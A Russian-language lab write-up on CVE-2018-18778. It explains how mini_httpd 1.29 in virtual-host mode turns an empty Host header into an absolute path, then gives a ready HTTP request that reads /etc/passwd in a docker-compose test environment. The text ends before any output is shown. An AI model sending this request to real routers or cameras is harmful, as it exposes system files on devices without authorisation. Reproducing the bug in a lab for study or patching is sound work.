
PoC-эксплойт для CVE-2018-18778: произвольное чтение файла в mini_httpd 1.29 через пустой заголовок Host, затрагивающий IoT-устройства от Huawei, Zyxel и других.
Mini_httpd — это миниатюрный HTTP-сервер, который при низком потреблении системных ресурсов сохраняет определённый уровень производительности (около 90% от Apache). Поэтому он широко используется в различных IoT-устройствах (маршрутизаторах, коммутаторах, камерах и т.д.) в качестве встроенного сервера. В числе производителей, чьи устройства использовали компонент Mini_httpd, — Huawei, Zyxel, Hikvision, Raspberry Pi и другие.
Если в mini_httpd включён режим виртуальных хостов, то при запросе http://HOST/FILE будет осуществляться доступ к файлу HOST/FILE в текущем каталоге.
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
См. приведённый код. Анализ:
example.com, FILE=index.html, результатом указанного оператора будет example.com/index.html — файл читается нормально.etc/passwd, результатом будет /etc/passwd.В последнем случае путь интерпретируется как абсолютный, и происходит чтение /etc/passwd, что приводит к уязвимости произвольного чтения файлов.
Выполните следующую команду для запуска mini_httpd 1.29:
docker-compose up -d
После запуска окружения откройте в браузере http://your-ip:8080, чтобы увидеть веб-страницу.
Отправьте запрос, установив Host пустым, а в PATH указав абсолютный путь к файлу:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Файл успешно прочитан:
